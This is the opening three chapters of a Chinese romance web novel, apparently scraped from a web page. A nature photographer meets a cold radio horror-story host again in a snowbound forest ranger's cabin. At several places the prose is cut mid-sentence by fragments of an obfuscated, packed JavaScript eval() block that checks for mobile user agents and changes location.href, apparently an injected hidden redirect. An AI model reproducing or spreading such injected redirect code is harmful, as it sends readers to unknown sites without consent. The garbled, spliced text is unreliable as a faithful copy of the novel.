《降雪百分百》 1. 不说再见 节目结束的短暂停顿里,耳机里传来微弱的电流声。 阙与山眼疾手快地关了收音机,将耳机线规律地在其上缠了几圈,迎着窗外的阳光塞进了冲锋衣口袋。 前排的出租车司机通过车内后视镜望了过来,和煦地问道:“提前回家准备过年?” 不怪司机这样问,他在林城火车站接到人时帮忙塞了两个沾满沙尘的大寸行李箱,还有一个皱巴巴的登山包扔进了后座。 阙与山风尘仆仆又疲惫积劳的模样虽然判断不出是工作结束抑或连轴转出差,但日历已经翻到了腊月,在年前赶回家的人不少。 阙与山只是刚从沙漠拍完回来,休整几天便要奔赴下个地方。他的眼下泛青,累得不愿多说便只强扯了抹笑点了点头:“是啊。” 林城火车站在城西,阙与山报的地址在人少地广的城北郊区。路上没什么人,司机开得不算慢,两侧的独栋小房子在车窗上投下虚影急速后退。 “家里住这么偏啊小伙子。”司机见他闭了眼便不再讲话,跟着广播轻声哼歌。 城北原来都是长不出什么的荒地,不知从哪刮来的风,盖起了带院子的楼房。一开始宣传得挺火爆,阙与山的父母攒了大半辈子的钱全扔了进去,后来因为地理位置实在是太偏,不仅采购需要跑很远,生活也不方便,也就冷了下来。 到现在不过五六年的光景,城北这些独栋几乎十室七空了。 “到了。” 司机的声音将靠着车窗浅眠的阙与山唤醒,他的视线朝外看到院门还恍惚了一下,常年在外不归家让阙与山快忘了自家门口还有个信箱。 他边收回目光边从冲锋衣的内袋里摸出钱,越过靠椅塞给司机。打开车门后,阙与山将沉重的登山包捞在手里,有点艰难地从车后座挤出来。 阙与山看向车屁股,自己的两个行李箱将它撑得后盖都合不上。他想,出租车虽五脏俱全但确实小了,下次回来得提前约个大车,老林的那辆皮卡就正好,拉着他的东西像老黄牛犁地。 司机也跟着下车帮忙搬那两尊险些将出租车压报废的大佛,阙与山赶忙回神跟上去道谢,一人扛一个行李箱,出租车肉眼可见地升高了一大截。 这幕直接给司机看愣了,他放下行李箱留下句“辛苦了”就匆匆地开车走了,生怕阙与山再变更目的地。 阙与山背着登山包,强拉着两个瘦弱却不服输的拉杆,走到了门口的信箱前。 这栋房子刚买的那年,阙与山就从各地搜刮了不同的木料,亲手磨制了这个“拼好箱”,上了防水漆后亲手绘制了一只田园犬弥补了看门狗的缺失,斜斜地插在家门口。 他常年奔波在外,不怎么喜欢跟上时代的潮流用移动电话,家里的固定电话又没人接,各种获奖邀约等信件最终便纷纷涌入眼前的信箱中。 他熟练地伸手,从里面掏出了厚厚的一叠信揣在怀里,解开门禁走了进去,用脚踢上了院门。 阙与山走到廊下的时候习惯性地抖了抖身上,蓦地反应过来他已经回来了,不会再出现从戈壁出来能抖出小沙堆的情况,也不会出现喝水时嗓子要被搓掉几层皮的错觉。 他将自己的东西放在了单独的房间,打开房中暖气后抽出那叠信快速地筛选,不重要的以及不想去的都扔到了桌子上,最后剩了一封书写工整的信,寄件地址是秋城广播大楼。 这封信被轻轻地放在了桌角,阙与山垂眸盯着它,面上的表情很淡,而手上的动作不停,脏衣服被一件件脱了下来搭在椅背上。 他去浴室洗干净换上居家睡衣,敷上在沙漠拍摄时好心大哥给的晒后舒缓修复膏,将脏衣服分门别类地扔去洗,才不急不慢地取来裁纸刀划开了信封。 信纸被抽出展开,露出里面的内容,用语讲究、字里行间透着官方的味道,是一封想要采访他的邀请信。 阙与山的唇绷了起来紧成一条线,又看了一遍后他将那张严谨的信纸用力地抛到一旁,将桌子上没有拆封的信全部扫进了垃圾桶,很快点了支烟。 午饭是阙与山在家解决的,随便下了碗清水面,青菜鸡蛋一概没有,他就坐在那张信纸的对面,边吃边看,似要盯出个窟窿来。 面快吃完的时候,阙与山用指尖掐着信纸的一角,目光在上面快速地扫了一眼。里面的内容他是知道的,主要是结尾的电话难记,阙与山默念了两遍起身去家里的固定电话前,按照数字播了过去。 电话嘟了两声便接通了,对面是个女生,这让阙与山的语气淡了好多。 女生惊喜于阙与山居然收了信回了电话,兴奋地诚邀他来秋城广播电视台接受采访,承诺费用皆由他们承担。 阙与山蹙了下眉,着重复述道:“电视台?” “不是广播电台?” “电视台与广播电台共用一个广播大楼。”女生急忙解释,还嫌不够又添了两句,“电视台是要出画面的,不像广播电台,而且我们经费很足的,阙老师你不用担心……” 她踩一捧一的话还没有说完,阙与山及时打断道:“哪天?” “阙老师哪天有空?我们都可以配合的。” “那就明天吧。” 阙与山想了想,又补充道:“我明天早上到。” 阙与山挂了电话后,漫无目的地晃回了自己的房间。按照以往的习惯,他此时必定会将相机里的照片导入笔记本中仔细筛选,若有不足处还要记录下来用以规诫改进。 而现在,他坐在书桌前,上面既没有相机也没有笔记本,因为它们都还被遗弃在隔壁。 半晌,阙与山拉开了角落里的小抽屉,三指抓出一个古旧的小盒子,吱呦一声强硬掰开,里面的东西被他捏了起来。 那是一只很简朴的耳坠,银钩下面坠着三个错落有致、通体灰白的果木壳,壳身只有一道很细的缝,轻轻一摇便会碰撞发出温柔空灵的声音,像极了自然的低语。 这一串果木壳好像放久了,空灵声中总掺着几分沉闷。阙与山将它在自己的左耳垂上比划了好久,连着四五次没扎进去,红了一片。 他不知在想什么,目光锁在一处没有移过半分,倔强又执拗地和一只耳坠斗了大半天,总算扎对了一次,不太顺利地挂了上去。 次日,耳机里的节目刚结束,车便驶到了秋城广播大楼。 阙与山关掉收音机、熟练地缠耳机线塞进口袋后,在几个人的热情迎接下进了广播大楼。 刚进电梯,阙与山便主动开口道:“广播电台播音室在几楼?我有朋友在深夜电台工作,好不容易来一次,想打个招呼,不会耽误大家时间。” 做深夜栏目的电台主播会通宵,这会刚好到他们的下班时间点。 “深夜栏目在五楼,我让小赵带路。”负责人早就将昨日批判广播电台的劣迹抛之脑后,非常通融、不疑有他地按了五楼,转头冲阙与山笑了笑,“那阙老师,我们就先上去准备了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233871|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“辛苦了。”阙与山礼貌地微笑点头,颔首间左耳的果木壳相碰发出空灵的声音。 小赵是第一次听到这种如同风铃般的声音,更稀奇的是居然会有人将它当作耳坠,看走了神。 直到同事推搡了她一下,小赵才反应过来,脸上一瞬间烧得通红,垂着脑袋亦步亦趋地迈出了电梯。她无意识绞着自己的工作牌,视线乱飘后悄悄抬眸打量起前面的人。 刚刚在大楼前搓了十分钟冻得通红的手才等到接人的车,抱怨都在阙与山下车看过来的那一刻消失得无影无踪。 不是因为那只普通的果木壳耳坠,也不是因为紫外线留下的蜜色痕迹,而是那双深邃的灰蓝色眸子瞧过来时让人霎时联想到连绵的雪山,是看了会呼吸一窒的面容。 小赵搜刮自己的词库,却只能用最简单的美字来形容一个男人。 严苛的拍摄环境并没有削减阙与山的美,反而增添了几分野性。 而此刻,阙与山只穿了很简单的冲锋衣,单肩挎着鼓鼓囊囊的黑色小包,里面放的应该是相机,有些长的头发蜷曲在背带上。 从背后看依然很符合美学,身材比例很标准,腰背宽阔,双腿修长且直,高得很突出。据小赵目测,阙与山应与播音室的牌子最高端差不了多少,将近一米九。 阙与山走到四号播音室门口突然停了脚步,一下子缩减的距离让小赵尴尬地刹在原地,她突然想起来自己是组长指来给人带路的,不免懊恼起来,刚想说话就见阙与山偏过头直直地朝着播音室里看。 这一幕很有故事感,她下意识觉得自己此刻不该说话破坏氛围,闭上嘴悄悄地挪了地方,从阙与山的侧后方望进了四号播音室。 隔着一层很厚的玻璃,小赵看到了阙与山盯着的人,是在深夜电台做恐怖故事节目的主播,许藏。 他在调控台前收拾东西,将节目用到的文件夹整齐地叠放在一旁,终于似有所感地抬起头,与门口的阙与山视线相接。 本以为会是天雷勾地火,或是久别重逢相视一笑,实际上仅仅只有一秒,许藏便收回了视线,继续将耳机放回原位,抱着文件夹走出隔音区,把手里的东西塞进文件柜。 他像是无视了门口那道过于执着的目光,从架子上取衣服穿衣服一气呵成,背上包检查有没有遗漏东西便朝着门口而来。 许藏性子很冷,几乎整个广播大楼都知道,尤其是他每晚讲的那些恐怖故事,实在让人毛骨悚然。小赵被他的目光波及到两三秒,逼得直往后退。 前方的阙与山却像是一个直面怪兽的勇士,不退反进往前走了几步,雄赳赳气昂昂地堵在了四号播音室的门口。 许藏看都没看莫名其妙来找茬的人,从阙与山和门框的缝隙间强行挤了出去,没走两步就被拽停在原地。 他侧过头扫了一眼环在自己手腕上那只很大很长却粗糙的手,掀起眼看阙与山:“有事?” 如果说阙与山灰蓝色的眸子像极了雪山上冷冽的风,而此刻许藏眼中淡淡的情绪则是厚雪下不曾流动的水,一碰既成冰。 阙与山眼睛不眨地盯着他看,许藏也不恼仍由他拽着瞧,这副诡异的画面一直延续到隔壁播音室的门被关上发出声响。 阙与山没放手,反而圈紧了一些,面上笑了起来,语气听着也算和善:“请问这里有没有一个叫林木深的人?” 话音刚落,许藏将手从他的桎梏中强硬地抽走,一句话没说,头也不回地离开。 2. 死鸭子嘴硬 隔壁关门的是深夜栏目音乐组长,小赵和他职业寒暄了几句,一转头发现原本堵在四号播音室门口的阙与山悄无声息地立在了走廊的另一侧。 他透过玻璃往下看,视线好似随心所欲地搜刮着楼前的行人,嘴角还噙着刚刚拦人请教时的笑容。 小赵很主观地认为那抹笑很冷很可怕,和许藏看过来的眼神半斤八两,她不免打了个哆嗦搓了搓手。 工作职责所在,她硬着头皮迎上去:“阙老师不确定朋友在哪的话,我可以帮忙问一下。” 阙与山没说话,目光锁住一个刚刚出现在楼前的人,连那抹假笑都懒得维持,嘴唇绷得很紧。 没过多久,他收回视线,边转身边致以歉意的微笑:“抱歉,我突然想起来那个朋友很早之前就调走了,连累你白跑一趟。我们去采访的楼层吧,希望不会耽误大家时间。” “没事没事。”小赵觉得他太客气了,索性摆了摆手,小跑到他前面带路。 阙与山跟在后面,脸色很冷。他单手将左耳的果木壳耳坠用力拽下,塞进冲锋衣的口袋,捏出难听的嘎吱声音。 进了电梯按下楼层,等待的过程中,小赵还是没忍住那颗分享八卦的心:“阙老师,那么多好说话的深夜电台主播,你却偏偏挑到一个性子最冷的人问。” “是吗?”阙与山回答得有点漫不经心,手指还在果木壳上捏着。 “谁说不是呢!”小赵扫了一眼电梯的楼层数字,扭头看到阙与山空荡荡的左耳愣了一下,“听电台那边的人说,许藏许老师喜欢修仙,家里的炼丹炉都开过好几锅了,只是还没找到合适的山头,这才继续委身在深夜栏目讲恐怖故事!” “修仙?”阙与山将这两个字反复咂摸,眉尾一扬,放过了饱受摧残的果木壳。 采访开始得很快,访谈者拿着手卡坐在阙与山对面,勾起职业笑容:“这次我们很荣幸邀请到自然摄影师阙与山老师,阙老师一年前曾凭借作品《可怜星俱灭》荣获国内外大奖。” “您常年去往各地拍摄,不知上一站去了什么地方?” “沙漠戈壁。”阙与山歪了歪头,“拍了很多奇特谲丽的照片。” “期待阙老师的作品。”访谈者适当地给惊讶的反应,“不知我是否有幸了解到阙老师对于下一站拍摄地的规划?” 仰赖化妆品遮了他眼下的青色,两侧的灯给他添上了一抹明亮的光时,美得更加夺目。 阙与山笑了笑:“当然。下一站我会去到霜城的玉琼雪林拍摄一种极其特别的植物,它只在固定时间出现。” “听起来拍摄好作品是极其不易的。阙老师曾为了《可怜星俱灭》在拍摄地停留了四个多月,而这次也将奔赴玉琼雪林。” 访谈者话音一转:“是什么样的精神能让阙老师坚持在雪地里守上四五天乃至更久?” 阙与山想了想,笼统地解释道:“运气不会永远笼罩,所有的不期而遇都是争取来的。” 访谈者又问了几个刁钻的问题,阙与山很官方地敷衍了过去。 采访到最后,访谈者笑着和他握了握手。直到不远处摄影机的红点灭了,她松了一口气:“我看阙老师特地背了相机而来,不知我们采访小组能否有此殊荣?” 阙与山不会拒绝拍照的请求,和煦地点了点头,将相机从包里取出,卸下镜头盖放到桌子上,很专业地帮他们拍了照片,又参与了合照。 这次的采访很顺利,他从秋城回到林城家时天还没黑。 阙与山在院门口盯着自制的田园犬信箱很久,凛冽的风将裸露的皮肤刮得又冰又僵。 天边暗成了深蓝色,那双漂亮的灰蓝色眸子也隐了起来。他从口袋里捏出那串果木壳扫了一眼,又扔了回去。 赶在天黑之前,阙与山将没打开过的两个行李箱和登山包再一次塞进招来的出租车里,到林城火车站买了最后一班去往霜城的车。 他只在家里待了一晚上,便重新迈上拍摄之路。 玉琼雪林的海拔不算低,只开放最下面的一片林子。阙与山拖着身家来到山脚下的游客中心时,借用固定电话给玉琼雪林的护林员打电话。 接通的那一刻,阙与山毫不客气地开口:“我在山脚游客中心,来接我。开你的皮卡。” “求人办事连名字都不喊?”电话那头的人语气很是嫌弃。 阙与山顿了一下,不知道想到了什么,头一次好脾气地应和:“老林,林木深,林先生,林兄弟,最伟大的护林员,够了吗?” 林木深是玉琼雪林根正苗红的护林员,从没当过什么深夜电台主播。阙与山自然也没什么主播朋友,不过随口一扯。 “你来的挺是时候,再晚几天便要落雪了。”林木深那边发出嘈杂的声音,应该是在收拾东西,“要是雪下大了,别说皮卡,雪地摩托我都不会开去接你。” “等着。” 电话“啪”地一声挂了,阙与山悠闲地将固定电话放了回去,笑着对工作人员道谢,直把人家看得一愣,连忙摆手说不用谢。 他身上挂着两台相机,找了个不碍事的角落,斜斜倚着墙,一双修长有力的腿交叠。阙与山从口袋里摸出一根烟叼在口中,没有点燃,惹得想要提醒禁烟的工作人员频频看来。 皮卡停在了外面,林木深从车窗中探出头,厚实的毛帽和脖套将他裹得很严实。他开车时隔着老远便看到只穿一件冲锋衣没有任何保暖措施的人,嗤了一声引得阙与山的视线转过来。 “只要风度不要温度?”林木深调侃了一句,望向他身边两个极大的行李箱,“每次来都像是逃难,用不用帮忙?” 阙与山没取烟,摇了摇头后先拖着两个行李箱绕到皮卡后面,找了个空地没什么讲究地扔了上去。 他拐回去拎着登山包坐上了皮卡的副座,将车窗摇下来一半,从口袋里摸出打火机,挑开盖子滑了一下点烟。 “收着点,别连累我也被教训。”林木深骂了他一句,一脚油门朝着山上而去。 阙与山点烟却没怎么抽,叼在嘴里任由其缓缓燃着。 皮卡七弯八拐便驶入了不开放的区域,阙与山两只手指夹着取烟,伸到窗外点落烟灰,微哑着嗓子:“我不回木屋了,把我放到你当初说的地方就行。” 林木深皱了一下眉,从车内后视镜看人,像是才发现阙与山的神情很疲惫:“你就这样子趴雪窝?臭脾气,你想死我还不想收尸。” “而且,现在还没到又一春的开花时间,至少得等到过两天的雪下完,你就算去了也拍不到。” 阙与山像是没听到他的话,沉浸在自己的思想里:“我记得你说的地方离木屋不远,结束了我自己走回来。” “你住木屋我又不收费,更别说替我省钱这样的屁话。”林木深仍劝道,手在方向盘上敲。 阙与山不在意地继续道:“又一春的照片投出去后,我会在介绍的最后着重加上你的大名感谢。以后来旅游的人看到你就像见到珍稀动物一样,围上来和你拍照。” “少说废话。”林木深忍着揍人的冲动,将皮卡开到了当初发现又一春踪迹的地方,“滚吧。” 他余光瞧见阙与山还真不客气地叼着烟开门下车,拎着极大的登山包就要往林子里走,没忍住护林员的血脉涌动,喊了一句:“帽子围巾手套,最迟明晚就要下雪!” 阙与山连头都没回,冻得通红的手扬起来挥了几下,气得林木深喷了他一身皮卡的车尾气。 阙与山进林子的第二天下午,玉琼雪林又迎来了一场大雪。 大片的雪几乎一刻不停,飘了两日后将玉琼雪林开放的那一小片区域也封死了,此时来的游客被告知得封山封个十天半个月,只能在服务中心喝着热茶叹气摇头,继而转身前往下一个旅游景点。 雪积得很快,帐篷上不多时便累了厚厚一层,需要阙与山坐在里面划着笔记本看照片的间隙,还得抬手拍几下以防冻成冰。 照片中净是些很稀松平常的景象,像厚雪下的溪流、云杉上的积雪等,偶有松鼠鸟雀经过在相机里留下倩影,但这些明显并不是阙与山想要的。诚如林木深所说,又一春还没到开花时间,他在这蹲了三日多,只和光秃秃的又一春根茎大眼对小眼。 平日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他再出来时,冻得青白的皮肤恢复了红润,头发微湿、杂乱地披散着,却遮不住那双绚丽的灰蓝色眸子,穿着一身柔软的居家服,少了几分野性多了些许温顺。 林木深一眼就看到了阙与山左耳上的果木壳:“这耳坠也没见你带过,稀得我以为是装饰。” 阙与山闻言,下意识扫了一眼沙发的方向,又若无其事地回:“是吗?” 他一下子忙碌了起来,东摸一盒烟连带着打火机扔到沙发前的桌子上,西拎着脏衣服分开扔进不同的篮子里,又从厨房里寻出来难得的水果,在林木深的反对声中洗干净抱到了桌子上。 最后是林木深忍不了了,率先开口骂道:“你别tm晃了,破壳子听着人心烦。还不过来坐着,人家为了找你如今被封到山上回不去了。” 阙与山窝成了一大团,坐在桌子旁的厚地毯上,垂着头削苹果,语气平淡:“找我的吗?” “不然还能是找我的?”林木深没好气地斜了他一眼。 许藏适时从背包里取出一个东西,顺着桌子往前推到阙与山的面前:“你落在秋城广播大楼的镜头盖。” 阙与山的动作一滞,目光落在那个扁扁的黑色镜头盖上,几秒后气笑了:“就为这么个镜头盖,也值得千里迢迢专门送过来?” “谁说专门了?人家是休假和朋友旅游,顺路来给你送镜头盖。”林木深还嫌不够,又重复,“顺路,懂吗?人不大,气性不小。” 经他一说,许藏像是才想起来自己在山脚下还有个朋友:“山里信号不好,能借个电话给朋友报平安吗?” “是你身边那个帅哥对吧?”林木深真情实感地夸赞,“果然物以类聚人以群分,你朋友那么帅,你比他还帅……” 话还没说完,就被阙与山冷冷的语气给打断了:“这么大的雪,哪里有信号让你报平安。山里众生平等,不会因为多待一会儿就被另眼相看。” 这话说得莫名其妙,作为他的多年好友,林木深的表情一下子变得古怪起来:“阙与山你有病吧,老子的固定电话是走线的!” 3. 中门对狙 林木深唰地站了起来,从沙发后面绕过去,气势汹汹地将固定电话听筒拽下来,弯曲的线扯上很远扔给许藏,瞪了一眼阙与山后大方地说:“许先生你报号码!我帮你按!就在沙发上打!不用挪了!” 许藏想了一下,流畅地报了一串数字。 期间,阙与山的苹果皮削断三次,他垂着眼,没什么感情地将断裂的苹果皮顺着桌子边缘扒进垃圾桶。 电话很快接通了,许藏的眉眼敛着,目光好像落在了桌子边缘:“之垠,是我。” 据阙与山对于姓氏的浅薄了解,“之”这个音作姓的极少。不喊姓只呼名……反正他叫林木深的时候不会是没头没尾的木深。 苹果的下半部分被削得棱角突出,阙与山看了它一眼,直接用刀竖着切块。 电话那头的人似乎很能说,因为许藏半天都没有开口插得进去话题。 阙与山漫不经心的一刀直接切到了苹果核,他顿了一下,将刀抽出来后比划了几下重新下刀。 “大雪封山,是这里的护林员救我上山,且让我住在了他的家里,你不用担心。”许藏的语气一如既往地平。 “啪嗒”一声,阙与山切苹果的劲儿用大了,苹果块直接飞到了地毯边缘的木板上。 他长臂一捞,将脏了的苹果块捏到桌子边。在林木深杀人的目光下,打算一会儿用水冲冲。 许藏好似被他的动静吸引了,视线转了过来,在那个病骨支离的苹果上看了好几眼,口中的话依然没停,甚至有点敷衍:“嗯我知道了,你快去赶火车吧,别耽误了行程。” 他将听筒从耳边挪开,站起身走到安装固定电话的那堵墙边,边挂了回去边朝林木深致谢。 林木深正与许藏交流,偶然越过他看向地毯上坐着的阙与山,火气一下子上来了,也不管是不是在客人面前了,几步冲了过去,从他的手里挽救出了支离破碎的苹果,一脸心疼。 “都被剁成臊子了……”他气不过,抬脚就踹了一下阙与山,“不吃你糟蹋什么!你要是火气大,就滚回你的雪窝里趴着!冻僵了也没有人管你!” 不知哪句戳到了阙与山,他僵硬地撑起了身,一声不吭地捏着桌子边上的苹果块去了厨房。 他冲完苹果站在厨房门口倚着墙嚼的时候,看见林木深热情地用水果刀将破碎的苹果上仅能看的地方巧妙地转下来递给了许藏。 许藏接过了苹果:“我下山前会将一概费用支付给林先生的。” 林木深啃着苹果,不在乎地摆了摆手,囫囵道:“来者是客,相逢一场,谈钱就没意思了。” “你也不用先生先生地叫我,又拘谨又没趣的。索性你要在这住上十天半个月,叫我名字吧,林……” 蓦地,不远处传来阙与山的咳嗽声,像是被苹果卡得脸都红了。 林木深白了他一眼,没好气地骂道:“谁家少爷嗓子这么细,吃个苹果都能噎着……不说他了,我叫林木深,不知你怎么称呼?” “林、木、深?”许藏闻言一字一顿重复,嫌少有表情地挑了一下眉。 他的视线转过去,在阙与山垂着脑袋依然遮不住的脸红上刮了一圈,确定那并非是苹果作祟:“我叫许藏,言午许、无处藏。” 许藏的目光看似落在林木深身上,其实越过他投在厨房边上的人,如有实质的视线让阙与山躲避不及,他当时在秋城广播大楼、在许藏面前随便诌的熟人,不想这么快就被揭穿。 阙与山下意识地抬手捏了一下左耳的果木壳,突然想到了什么,直直地走过来坐在许藏的对面,抬眸盯着他,状似无意地问:“你的朋友姓之?听起来是很少见的姓。” “你去电视台接受采访,为什么到深夜电台的五楼?”许藏显然不打算将这件事简单地揭过去。 林木深左看一眼,右瞧一眼,觉得这莫名而起的战场不是他这种小虾米应该掺和的,挂起非常职业的笑容:“天色有点晚了,你们先聊,我去做饭。” 他没说完便站起身,话音刚落已经进了厨房关上门了。 阙与山有点惋惜自己只有一串果木壳,不然此时必定能捏在手里嘎吱响。 他面上不显,很轻松地回道:“走错了。” “有工作人员带路也能走错?”许藏不信。 小赵身上的工作牌确实很明显,阙与山顿了一下,不自在地挪开视线微微偏头:“说了是找朋友。” “谁?” “许藏,有必要刨根问底吗?”阙与山直起身从桌子上顺走烟盒和打火机,绕过沙发走到了窗边。 他将厚重的隔风窗户错开一条缝,迎着冷冽的风点燃了一支烟,烟盒被捏得扁扁的扔到口袋里。 林木深凑在厨房门缝间往外看,感受到剑拔弩张的气氛后,立马顺上几个红薯面色如常地往正厅的壁炉而去,边打开壁炉门边随口说:“别吵架、别吵架,以和为贵、以和为贵。” “阙与山,就一根烟。别把我的屋子搞得乌烟瘴气。”说完,他又快步回了厨房。 许藏在沙发上侧过身,一条胳膊搭在靠背上,姿态放松地歪头看了一会儿阙与山的背影,几分钟后突然吐出来三个字。 “越之垠。” “什么?”冷风让阙与山冷静下来了,也冻住了他的思绪。 许藏好心地再次回答了他刚刚的问题:“我的朋友,不姓之。” 反正他不会叫人之垠,林木深倒是会,可那又不一样。 阙与山没什么表情地抽了一大口烟,猩红的火苗持续亮起,他缓缓吐出来后语调平平:“哦。” 屋内两人没了林木深的磨合,这天仿佛一点也聊不下去。 他在厨房干活还得时刻关注正厅的动静,不免叹了口气,端着腌好的肉走出去,将它放到壁炉里后又添了点柴,才转过身说:“今日有贵客,我可是拿出来陈年好酒招待,一起共饮不许推脱。” “阙与山,别闲着,来厨房帮我切菜。”林木深喊了他一声,看他摁灭了烟头扔进垃圾桶并合上窗户。 许藏闻言率先站起来,向上卷了卷袖子:“我来吧,做客不能只坐着。” 林木深几步蹿到了许藏的面前,觉得手脏只用两截小臂推他坐下:“坐着吧,我这厨房有点小,三个男人挤不……” 他的话还没说完,就被阙与山拽着胳膊拉进了厨房,推拉门嘭地被关上了,回弹了一下,又被林木深轻轻地合上。 “阙与山!”林木深压着声音发飙,“不是你家不心疼是吧?!门坏了我把你的脑袋夹掉!你今天到底发什么疯?” “你那双手又抓红薯又摸肉,还在壁炉前面捣弄半天火,也好意思往人家身上伸?” 没等林木深反驳,阙与山话音一转给了一个他能接受的理由:“你不碰他,他暂时就不用浪费你的水。” 林木深想了一圈,赞同:“有理。” 阙与山帮他处理食材,顺便无意提起许藏:“他怎么在大雪封山的时候上来了?” “说来也巧,雪刚下起来那天我就在游客区看到他了。他要上山,我把他拦下来,他自称要找你。” 林木深将土豆洗干净削皮,继续说道:“又不是谁来说找你,我都要放上山的,就拒绝了他。没想到今天出门的时候又看到他了,一个人孤零零地走在雪路上,关键是围巾帽子手套一概没有,甚至连把伞也没有。头上身上积得全是雪,整个人快冻成冰棍了,就算人有坏心,我也不能放任他在雪林里失温,就带回来了。” “小可怜似的,冷得人都傻了半天,哆哆嗦嗦攥着个镜头盖不放。捂了半天才听到我说话,告诉他你不知道哪天回来,大雪封山先住着吧。” 阙与山削土豆皮的手顿了好久,被旁边的温开水溅得烫到,才不怎么在意地说道:“为了个破镜头盖,值得吗?” “你跟人家有仇?”林木深不解地开口,“我刚才就想问你了,你和他说话句句带刺、处处不留情面,他惹过你?” “没仇,”阙与山的眸子一下子暗了几分,语调也降了下来,“只是很多年没见了。” 林木深显然不信,揶揄道:“那你久别重逢的问好方式还挺特别。” “不管怎么说,人家也是冒雪给你送东西,把你那副臭脸收收吧。你要是实在有难言之隐,雪林还有好几处站点,都能先让你住着,就是没这里暖和舒适食物充足罢了。” “不用。”阙与山摇了摇头,不说话了。 林木深常年在玉琼雪林待着,下厨的手艺实在不错,虽称不上珍馐也算满屋飘香,尤其是在壁炉里炙烤的肉和红薯,伴着窗外的飘雪、在寒冷的天气里享用简直是一大美事。 他还真从木屋外的雪地里挖出珍藏的美酒,在壁炉的火堆上炙了一下,蒸腾着热气的酒斟满了三个杯子。 “干杯!”林木深笑得爽朗,碰杯后大大咧咧地饮了一口,然后张罗着给许藏夹菜。 许藏道谢后,顺势问了几句:“护林员的工作很不易吧?你和阙与山怎么认识的?” 就像刚刚阙与山不想回答许藏的问题而叫他的名字一样,这也是他们再见以来,许藏第一次喊他的名字,却是在和别人的对话中。 阙与山敛眉垂眸,手指在杯子上摩挲了两下,一饮而尽。 “护林员,是工作也是生活。我在玉琼雪林待了快二十年,早就习惯了。” 林木深执着酒壶又给阙与山倒了一杯热酒,继续回答道:“五年前,玉琼雪林的防护远不如现在好,时常有偷猎的人,上山卡得也不严。阙与山这小子就偷摸上山来,趴在雪地里拍照片。他第一次来连日趴雪窝准备得不齐全,又死犟不肯错过难得的寒夜光柱,差点僵死在雪里。还好我巡山的时候看到了,雪地摩托第一次开到那么快。” “说起来,你们两个还挺像,都挺傻。去年我在雪林里见到一种珍惜的花,平日巡山时极其稀松平常,偶然有一次看到它开花,一开始是娇嫩的粉色,不过几个小时便从花蕊处开始变红,一层层渡到花瓣,最后变成紫色,倒是应得上那句‘姹紫嫣红开遍’,发给阙与山后,帮忙记录了花的出现地点、开花时间等,约定今年冬季雪后来拍摄。” “沙漠上仍有江南春,雪林里怎么不能存在?”阙与山在一旁接下话题,“所以我给它起名,又一春。” 林木深帮忙补充道:“不是给花命名,是他还没完成的摄影作品,跟《可怜星俱灭》一个意思。” 许藏闻言看了看林木深,又偏过头扫了几眼阙与山,没说话将杯子里的酒喝尽了。 他两只修长的手交叠着紧握仍有余温的杯子,强打起精神抬眸看向林木深:“护林员可敬,林老师的家乡就在霜城吗?” 林木深摇了摇头,说道:“怎么会?我家在霜城的一个偏远小角落,名字叫苍城。” “哦?苍城?”许藏好似一下子来了兴趣,一双黑眸盯得人瞧不出情绪,他偏过头看阙与山,“我记得阙与山的家也在苍城,你们是老乡?” “什么?!你家在苍城?”林木深不可置信地瞪大眼,视线灼灼地瞧阙与山,“你从来也没提过,问你你就说四海为家!” 许藏听到他的话突然顿了一下,兀自连斟带喝了三杯酒,不知是壁炉烧得火热还是酒气上涌,他的脸上红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许藏的酒一杯接一杯,很快酒壶便见了底,他看起来跟醉了没什么区别,脸红耳朵红,眼红脖子红,总之很多地方都很红,他握着酒杯的指关节有点粉,瞧过来的眼神潋滟又滞慢。 他轻启泛着水光的唇,唔哝地问:“土豆是谁?” 恰在此时,厚重的门外传来抓挠的声音,阙与山有些狼狈地收回视线,将烟摁灭扔掉后撑起身朝门外走去,在门口的柜子上顺了几张干净的纸,开了一条缝后眼疾手快地控制住土豆,将它的身上以及脚擦干净才放进来。 土豆是一只很乖的田园犬,林木深捡的流浪狗。它没什么特别的,两只眼睛滴溜溜地瞧,在阙与山腿边转了两圈直直地扑向沙发上坐着的许藏。 许藏将喝尽的酒杯放到桌子上,一只手摸了摸土豆的脑袋,那双像是能把所有光都吸进去的漂亮眸子却直直地抬起,盯着不远处的阙与山。 醉意上涌,他的语调缱绻,好似在空中转了几个圈,伴着木头的燃烧声音:“小狗。” 一瞬间,阙与山觉得许藏的声音有些失真,仿佛闷在雪里、埋在十四年前的雪里。 时间的指针不停周转,倒回十四年前,也是因为大雪封山,许藏被迫留在苍城的一个偏远村子里,许藏的父母正好选中了他家。 阙与山刚从野地山沟里混回来,浑身上下全是混着雪的泥点子、草木根,如若不是那双在光下像是琉璃一般的灰蓝色眸子,几乎和饱经风霜的稻草人无异。 他一回来便看到了许藏,家里不太灵光的灯泡一顿一顿地暗着,却衬着那颗落在他家的珍珠无比明亮。 阙与山不知该用什么来形容许藏,云杉顶端的那捧雪、破晓时山尖最先亮起的雪,亦或是能掩盖洗刷所有脏污的雪,因为许藏给他的第一反应就是很白,林林总总逃不开雪。 他从小到大,看得最多的就是雪,也想不到什么春天的花、夏天的林木、秋天的果实。他皱了皱眉,本就因想不出什么词而不爽,此刻垂眸看了眼自己身上如泥人一般的装束,红着脸往后院去。 